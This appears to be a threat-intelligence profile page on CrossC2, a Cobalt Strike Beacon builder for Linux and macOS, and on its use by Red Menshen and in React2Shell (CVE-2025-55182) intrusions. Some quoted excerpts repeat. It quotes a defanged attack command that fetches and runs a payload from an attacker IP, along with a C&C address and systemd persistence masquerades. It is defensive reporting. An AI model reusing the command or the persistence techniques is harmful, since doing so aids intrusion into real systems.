Loading malware…
CrossC2 is a cross-platform command-and-control framework and unofficial Cobalt Strike Beacon builder used to deploy remote-access implants on Linux and macOS. Developed in C, it supports Linux x86 and x64 systems and macOS x86, x64, and Apple Silicon systems, and is compatible with Cobalt Strike version 4.1 and later. Its builder is publicly available, although the builder and Beacon source code are not released. Attackers use CrossC2 for remote command execution and post-exploitation access on compromised systems.
CrossC2 implants fork on execution and perform their main processing in the child process. They store encrypted configuration data at the end of the executable and decrypt it using AES-128-CBC through OpenSSL functions. Command-and-control destinations can also be supplied through environment variables. Anti-analysis mechanisms include single-byte XOR string encoding and extensive junk-code insertion. Generated Beacons are packed with UPX by default; appended configuration data complicates standard unpacking. Observed Linux deployment scripts establish persistence through systemd services masquerading as security software.
CrossC2 has been used by the China-linked Red Menshen threat group in telecommunications espionage campaigns targeting providers in the Middle East and Asia. It has also appeared in intrusions investigated in Japan during 2024 and in December 2025 attacks exploiting CVE-2025-55182, known as React2Shell. In React2Shell campaigns, attackers deployed Linux CrossC2 implants through Bash downloaders after compromising vulnerable servers. CrossC2 is used alongside other post-exploitation tools and is not exclusive to a single threat actor.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Once inside, attackers deploy tools such as CrossC2 for command execution, TinyShell for stealthy persistence, and keyloggers or brute-force tools to steal credentials and move laterally toward core systems.
Upon gaining a successful foothold, Linux-compatible beacon frameworks such as CrossC2 are deployed to facilitate post-exploitation activities.
Upon gaining a successful foothold, Linux-compatible beacon frameworks such as CrossC2 are deployed to facilitate post-exploitation activities.
12 distinct techniques documented for this family, organized by ATT&CK tactic.
Attacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
While exploiting the React2Shell vulnerability, threat actors downloaded Tactical RMM... Script 3 ... After identifying a host vulnerable to React2Shell, it exploits the vulnerability to download and execute a payload script
Once inside, attackers deploy tools such as CrossC2 for command execution...
After compromising a host via the React2Shell vulnerability, threat actors executed the following commands inside a container: /bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot...'
React Server Components(RSC)における認証不要のリモートコード実行の脆弱性(CVE-2025-55182)が公開されました。JPCERT/CCでは、この攻撃の被害報告を複数受けています。
Attacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
The script also establishes persistence by creating a systemd service /etc/systemd/system/apaches-main.service... If executed with root privileges... creates a systemd service... CrossC2 check.sh creates and starts a service... EtherRAT establishes persistence through: systemd.
Attacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
The script also establishes persistence by creating a systemd service /etc/systemd/system/apaches-main.service... If executed with root privileges... creates a systemd service... CrossC2 check.sh creates and starts a service... EtherRAT establishes persistence through: systemd.
Depending on privileges, the script saved the file as rsyslo either in /usr/local/rsyslo ... or in ${HOME}/.rsyslo ... Description=Rsyslo AV Agent Service ... executed from an anonymous file descriptor created with memfd_create, as a [kworker/0:2] process.
Attacks usually begin at the network edge by exploiting exposed services or valid accounts on devices like VPNs, firewalls, and virtualization hosts.
The loader decrypts this payload using a XOR operation with the key 0x99 ... kxnzl4mtez.js decrypted the 1d5j6rm2mg2d file using AES-256-CBC ... configuration data is decrypted using the AES-128-CBC algorithm
Post-exploitation tooling includes CrossC2, TinyShell, SSH brute-forcers, and custom ELF keyloggers with telecom-aware credential lists referencing terms like “imsi.”
Post-exploitation tooling includes CrossC2, TinyShell, SSH brute-forcers, and custom ELF keyloggers with telecom-aware credential lists referencing terms like “imsi.”
Post-exploitation tooling includes CrossC2, TinyShell, SSH brute-forcers, and custom ELF keyloggers with telecom-aware credential lists referencing terms like “imsi.”
the malware tries to connect to the C&C with an IP address of 45[.]76[.]220[.]46 on port 40443. This provides shell access to the attackers.
This script downloaded the XMRig cryptocurrency miner... The attackers also loaded the d5.sh Bash script onto the compromised host to download the Sliver implant... The attackers employed the check.sh Bash script to download ELF executables (a_x86 / a_x64) from a server.
2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.